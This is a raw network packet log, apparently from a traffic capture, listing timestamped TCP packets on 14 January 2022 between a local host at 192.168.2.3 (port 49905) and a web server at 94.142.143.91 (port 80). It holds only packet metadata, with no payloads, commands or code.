Jan 14, 2022 05:00:01.115042925 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.115051985 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115078926 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.115093946 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115134954 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115153074 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.115176916 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115215063 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115228891 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.115256071 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115294933 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115303040 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.115334034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115372896 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115379095 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.115413904 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115453005 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115463018 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.115497112 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115534067 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115544081 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.115576029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115614891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115624905 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.115655899 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115695953 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115704060 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.115736008 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115775108 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115781069 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.115816116 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115854979 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115892887 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115931988 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115947962 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.115969896 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116008997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116046906 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116065025 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.116086960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116096973 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.116128922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116167068 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116180897 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.116208076 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116264105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116271019 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.116302967 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116343021 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116347075 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.116383076 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116419077 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116458893 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116457939 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.116498947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116538048 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116539955 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.116575956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116605997 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.116612911 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116656065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116669893 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.116708994 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116760015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116765976 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.116813898 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116867065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116872072 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.116920948 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116971970 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.116978884 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.117023945 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117078066 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117079020 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.117134094 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117187023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117191076 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.117243052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117296934 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117352962 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117398024 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.117408037 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117413044 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.117470980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117528915 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117554903 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.117583036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117635965 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117686987 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.117691040 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117744923 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.117750883 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117808104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117860079 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.117904902 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.117964029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118012905 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.118016958 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118074894 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118125916 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.118136883 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118192911 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118241072 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.118252039 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118304968 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118352890 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.118360996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118418932 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118469954 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.118480921 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118541002 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118590117 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.118598938 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118657112 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118705034 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.118711948 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118772030 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118822098 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.118832111 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118891001 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.118940115 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.118949890 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119009018 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119060993 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.119070053 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119129896 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119184017 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.119189024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119249105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119294882 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.119307041 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119369984 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119420052 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.119426966 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119489908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119540930 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.119548082 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119604111 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119653940 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.119664907 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119726896 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119774103 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.119786024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119848013 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119894981 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.119905949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.119965076 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120016098 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.120022058 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120079041 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120127916 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.120138884 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120199919 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120249033 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.120254993 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120316029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120363951 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.120373011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120433092 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120480061 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.120496988 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120554924 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120600939 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.120613098 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120667934 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120714903 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.120724916 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120783091 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120830059 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.120836973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120896101 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.120944977 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.120954037 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.121010065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.121057034 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.121067047 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.121125937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.121171951 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.121181011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.121244907 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.121290922 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.121304989 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.170291901 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.170351028 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.170392036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.170427084 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.170481920 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.170490026 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178070068 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178114891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178150892 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178191900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178230047 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178234100 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178265095 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178268909 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178272009 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178277016 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178282022 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178311110 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178338051 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178349018 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178371906 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178409100 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178555012 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178622007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178632021 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178664923 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178684950 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178705931 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178719997 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178747892 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178769112 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178787947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178807974 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178828955 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178844929 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178870916 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178889990 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178909063 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178934097 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178951979 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.178973913 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.178992987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179008007 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179030895 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179069996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179083109 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179109097 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179141045 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179162979 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179179907 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179183960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179187059 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179193020 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179235935 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179266930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179306984 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179325104 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179349899 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179367065 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179389000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179404974 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179428101 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179445028 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179470062 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179481030 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179510117 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179527044 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179549932 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179563999 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179589987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179595947 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179627895 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179636955 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179668903 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179682970 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179708004 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179713964 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179748058 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179758072 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179790020 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179796934 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179827929 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179837942 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179892063 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179898024 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179933071 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179940939 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.179972887 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.179980040 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180013895 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180017948 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180052996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180058956 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180097103 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180100918 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180150032 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180243015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180301905 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180334091 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180371046 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180385113 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180412054 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180427074 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180453062 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180459023 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180496931 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180504084 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180536032 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180542946 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180574894 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180584908 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180613995 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180624008 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180655956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180660963 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180695057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180708885 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180735111 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180743933 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180775881 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180782080 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180816889 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180824041 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180857897 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180861950 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180896997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180903912 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180933952 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180943012 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.180973053 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.180979967 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181011915 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181020975 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181051970 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181056976 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181092024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181097984 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181128979 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181138992 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181169033 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181190014 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181209087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181230068 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181246996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181263924 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181298018 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181303978 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181337118 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181354046 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181375980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181396008 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181416035 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181430101 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181454897 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181489944 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181535959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181540966 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181575060 CET	49905	80	192.168.2.3	94.142.143.91
